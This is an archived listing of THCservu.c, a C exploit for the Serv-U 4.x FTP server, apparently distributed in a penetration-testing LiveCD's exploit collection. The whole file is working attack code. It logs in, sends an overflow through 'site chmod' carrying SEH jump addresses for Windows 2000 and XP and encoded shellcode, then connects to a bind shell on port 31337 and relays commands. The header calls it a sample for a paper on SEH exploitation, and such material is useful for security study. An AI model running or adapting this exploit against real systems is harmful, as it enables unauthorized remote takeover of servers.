home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / servu / THCservu.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  321 lines

  1. /*****************************************************************************/
  2. /* THCservu 0.1 - Wind0wZ remote root exploit                                */
  3. /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org)                         */
  4. /* THC PUBLIC SOURCE MATERIALS                                               */
  5. /*                                                                           */
  6. /* Credits go to kkqq@0x557.org who found that bug.                          */
  7. /* his Advisory: http://www.0x557.org/release/servu.txt                      */
  8. /*                                                                           */
  9. /* compile with MS Visual C++ : cl THCservu.c                                */
  10. /*                                                                           */
  11. /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */
  12. /* scut, stealth, FtR and Random                                             */
  13. /*****************************************************************************/
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18. #include <winsock2.h>
  19.  
  20. #pragma comment(lib, "ws2_32.lib")
  21.  
  22. char *WIN2KEN   = "\xc4\x2a\x02\x75";
  23. char *WIN2KPG   = "\xc4\x2a\xf9\x74";
  24. char *WINXPSP1G = "\x61\x24\xa0\x71";
  25.  
  26. #define jumper    "\xeb\x06\x4a\x43"
  27.  
  28. char shellcode[] =
  29. "\x8b\x7c\x24\xfc\x83\xc7\x21\x33\xc9\xb2\x8f\x66\x81\xc1\x02"
  30. "\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\x64\xac\xf5\xe6\x8d"
  31. "\x8a\xe3\xd6\x77\x92\x13\x51\x03\x5e\xc3\xff\x5b\x8c\x7f\xa8"
  32. "\xaf\xaf\xbf\x87\xd8\xdc\xbd\xd0\xbc\xbd\xa1\xcb\xc3\xc3\x8e"
  33. "\x64\x8a\x67\x76\x70\x70\x70\xd2\x0c\x62\xa5\xe5\xbf\xd6\xeb"
  34. "\x04\x8e\x04\xcf\x83\x04\xff\x93\x22\x04\xf7\x87\x02\xd0\xb3"
  35. "\x04\x94\x8e\x74\x04\xd4\xf7\x8e\x74\x04\xc4\x93\x8e\x76\x04"
  36. "\xdc\xab\x8e\x75\xdc\xde\xdd\x04\xd4\xaf\x8e\x74\xbe\x46\xce"
  37. "\xbe\x4f\x16\x04\xbb\x04\x8e\x71\x23\xbe\x4d\x5e\x6d\x0b\x4f"
  38. "\xfa\x78\x80\x39\xca\x8a\x02\xcb\xca\x8b\xe9\xb6\x9f\xfa\x6e"
  39. "\xe9\xbe\x9f\xd5\xd7\xd1\xd9\xdf\xdd\xa4\xc1\x9f\xce\x80\x38"
  40. "\x83\xc5\x04\x8b\x07\x8e\x77\x80\x39\xc2\x8a\x06\xcb\x02\x57"
  41. "\x71\xc2\x8a\xfa\x31\x71\xc2\x8b\xfb\xae\x71\xc2\xad\x02\xd2"
  42. "\x97\xdc\x70\x5f\x06\x48\xe5\x8b\xd7\x07\xca\x8a\x0f\xca\xf8"
  43. "\x85\x02\xd2\xfb\x0f\xe4\xa9\x9b\x66\xf7\x70\x70\x70\x06\x41"
  44. "\xbe\x54\xdc\xdc\xdc\xdc\xd9\xc9\xd9\x70\x5f\x18\xda\xd7\xe9"
  45. "\x06\xbf\xe5\x9f\xda\xd8\x70\xda\x5b\xc1\xd9\xd8\x70\xda\x43"
  46. "\xdc\xda\xd8\x70\xda\x5f\x18\x02\xca\x07\xdf\x70\xda\x6b\xda"
  47. "\xda\x70\xda\x67\x02\xcb\x8a\x83\x1b\xdc\xe7\xa1\xea\xf7\xea"
  48. "\xe7\xd3\xec\xe2\xeb\x1b\xbe\x5d\x02\xca\x43\x1b\xd8\xd8\xd8"
  49. "\xdc\xdc\x71\x49\x8e\x7d\xdd\x1b\x02\xca\xf7\xdf\x02\xca\x07"
  50. "\xdf\x3e\x87\xdc\xdc\xe5\x9f\x71\x41\xdd\xdc\xdc\xdc\xda\x70"
  51. "\xda\x63\xe5\x70\x70\xda\x6f";
  52.  
  53.  
  54. void usage();
  55. void shell(int sock);
  56.  
  57. int main(int argc, char *argv[])
  58. {  
  59.   unsigned short servuport;
  60.   unsigned int i,sock,sock2,addr,os,rc,rc2,dirlen,craplen=400;
  61.   unsigned char *user,*pass,*chmod,*recvbuf,*finalbuffer,*crapbuf,*directory;
  62.   unsigned char *temp;
  63.   struct sockaddr_in mytcp;
  64.   struct hostent * hp;
  65.   WSADATA wsaData;
  66.  
  67.   printf("\nTHCservu v0.1 - Servu 4.x sample exploit for the paper\n");
  68.   printf("Practical SEH exploitation - by Johnny Cyberpunk (jcyberpunk@thc.org)\n");
  69.  
  70.   if(argc<7 || argc>7)
  71.    usage();
  72.  
  73.   user = malloc(256);
  74.   memset(user,0,256);
  75.  
  76.   pass = malloc(256);
  77.   memset(pass,0,256);
  78.   
  79.   chmod = malloc(128);
  80.   memset(chmod,0,128);
  81.  
  82.   directory = malloc(256);
  83.   memset(directory,0,256);
  84.  
  85.   crapbuf = malloc(512);
  86.   memset(crapbuf,0,512);
  87.  
  88.   recvbuf = malloc(256);
  89.   memset(recvbuf,0,256);
  90.  
  91.   finalbuffer = malloc(1000);
  92.   memset(finalbuffer,0,1000);
  93.  
  94.   printf("\n[*] building buffer\n");
  95.  
  96.   sprintf(user,"user %s\r\n",argv[3]);
  97.   sprintf(pass,"pass %s\r\n",argv[4]);
  98.   strcpy(chmod,"site chmod 666 ");
  99.  
  100.   temp=malloc(256);
  101.   memset(temp,0,256);
  102.   
  103.   dirlen=strlen(argv[5]);
  104.   temp=argv[5];
  105.   if((strncmp("\\",temp,1))!=0)
  106.   {
  107.    printf("\nGimme valid path name, ie. \\upload\n");
  108.    exit(-1);
  109.   }
  110.   
  111.   if(dirlen!=1)
  112.    dirlen-=3;
  113.   else
  114.    dirlen-=4;
  115.     
  116.   craplen=craplen-dirlen;
  117.   
  118.   for(i=0;i<craplen;i++)
  119.    crapbuf[i]='X';
  120.  
  121.   strcat(finalbuffer,chmod);
  122.   strcat(finalbuffer,crapbuf);
  123.   strcat(finalbuffer,jumper);
  124.  
  125.   os = (unsigned short)atoi(argv[6]);  
  126.   switch(os)
  127.   {
  128.    case 0:
  129.     strcat(finalbuffer,WIN2KPG);
  130.     break;
  131.    case 1:
  132.     strcat(finalbuffer,WIN2KPG);
  133.     break;
  134.    case 2:
  135.     strcat(finalbuffer,WINXPSP1G);
  136.     break;
  137.    default:
  138.     printf("\nYou entered an illegal target !\n\n");
  139.     usage();
  140.     exit(-1);
  141.   }
  142.  
  143.   strcat(finalbuffer,shellcode);
  144.   strcat(finalbuffer,"\r\n");
  145.       
  146.   if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
  147.   {
  148.    printf("WSAStartup failed !\n");
  149.    exit(-1);
  150.   }
  151.   
  152.   hp = gethostbyname(argv[1]);
  153.  
  154.   if (!hp){
  155.    addr = inet_addr(argv[1]);
  156.   }
  157.   if ((!hp)  && (addr == INADDR_NONE) )
  158.   {
  159.    printf("Unable to resolve %s\n",argv[1]);
  160.    exit(-1);
  161.   }
  162.  
  163.   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  164.   if (!sock)
  165.   { 
  166.    printf("socket() error...\n");
  167.    exit(-1);
  168.   }
  169.   
  170.   if (hp != NULL)
  171.    memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
  172.   else
  173.    mytcp.sin_addr.s_addr = addr;
  174.  
  175.   if (hp)
  176.    mytcp.sin_family = hp->h_addrtype;
  177.   else
  178.    mytcp.sin_family = AF_INET;
  179.  
  180.   servuport=atoi(argv[2]);
  181.   mytcp.sin_port=htons(servuport);
  182.  
  183.   printf("[*] connecting the target\n");
  184.  
  185.   rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
  186.   if(rc==0)
  187.   {
  188.      rc2=recv(sock,recvbuf,256,0);
  189.      printf("[*] sending username\n");
  190.      send(sock,user,256,0);
  191.      rc2=recv(sock,recvbuf,256,0);
  192.      printf("[*] sending password\n");
  193.      send(sock,pass,256,0);
  194.      rc2=recv(sock,recvbuf,256,0);
  195.      if(rc2<0)
  196.      {
  197.       printf("\nError while recv() data!\n");
  198.       exit(-1);
  199.      }
  200.      else if (memcmp(recvbuf,"530 ",4) == 0)
  201.      {
  202.       printf("\nWrong user/pass !\n");
  203.       exit(-1);
  204.      }
  205.      else
  206.      {
  207.       _snprintf(directory,127,"cwd %s\r\n",argv[5]);
  208.       send(sock,directory,256,0);
  209.       rc2=recv(sock,recvbuf,256,0);
  210.       if (memcmp(strupr(recvbuf),"550 ",4) == 0)
  211.       {
  212.        printf("\nError changing to path %s\n",argv[5]);
  213.        exit(-1);
  214.       }
  215.       
  216.       send(sock,finalbuffer,2000,0);
  217.       printf("[*] Exploit send successfully ! Sleeping a while ....\n");
  218.       Sleep(1000);
  219.      }
  220.   }
  221.   else
  222.    printf("\nCan't connect to ftp port!\n");
  223.    
  224.   if(rc==0)
  225.   {
  226.    printf("[*] Trying to get a shell\n\n");
  227.    sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  228.    mytcp.sin_port = htons(31337);
  229.    rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp));
  230.    if(rc!=0)
  231.    {
  232.     rc2=recv(sock,recvbuf,256,0);
  233.     if (memcmp (recvbuf, "550 ", 4) == 0)
  234.     {
  235.      printf("\nYou don't have permissions to upload!\n");
  236.      exit(-1);
  237.     }
  238.     else      
  239.     {       
  240.      printf("can't connect to port 31337 ;( maybe firewalled ...\n");
  241.      exit(-1);
  242.     }
  243.    }
  244.    shell(sock2);
  245.   }
  246.  
  247.   shutdown(sock,1);
  248.   closesocket(sock);
  249.  
  250.   free(user);
  251.   free(pass);
  252.   free(chmod);
  253.   free(directory);
  254.   free(crapbuf);
  255.   free(finalbuffer);  
  256.   free(recvbuf);
  257.  
  258.   exit(0);
  259. }
  260.  
  261. void usage()
  262. {
  263.  unsigned int a;
  264.  printf("\nUsage:  <Host> <Port> <Username> <Password> <Directory> <Target>\n");
  265.  printf("Sample: THCservu 194.44.55.56 21 lamer test123 \\upload 0\n");
  266.  printf("Targets:\n");
  267.  printf("0 - Windows 2000 Server english all service packs\n");
  268.  printf("1 - Windows 2000 Professional german\n");
  269.  printf("2 - Windows XP SP1 german\n");
  270.  exit(0);
  271. }
  272.  
  273. void shell(int sock)
  274. {
  275.  int l;
  276.  char buf[1024];
  277.  struct timeval time;
  278.  unsigned long ul[2];
  279.  
  280.  time.tv_sec = 1;
  281.  time.tv_usec = 0;
  282.  
  283.  while (1)
  284.  {
  285.   ul[0] = 1;
  286.   ul[1] = sock;
  287.  
  288.   l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  289.   if(l == 1)
  290.   {      
  291.    l = recv (sock, buf, sizeof (buf), 0);
  292.    if (l <= 0)
  293.    {
  294.     printf ("bye bye...\n");
  295.     return;
  296.    }
  297.   l = write (1, buf, l);
  298.    if (l <= 0)
  299.    {
  300.     printf ("bye bye...\n");
  301.     return;
  302.    }
  303.   }
  304.   else
  305.   {
  306.    l = read (0, buf, sizeof (buf));
  307.    if (l <= 0)
  308.    {
  309.     printf("bye bye...\n");
  310.     return;
  311.    }
  312.    l = send(sock, buf, l, 0);
  313.    if (l <= 0)
  314.    {
  315.     printf("bye bye...\n");
  316.     return;
  317.    }
  318.   }
  319.  }
  320. }
  321.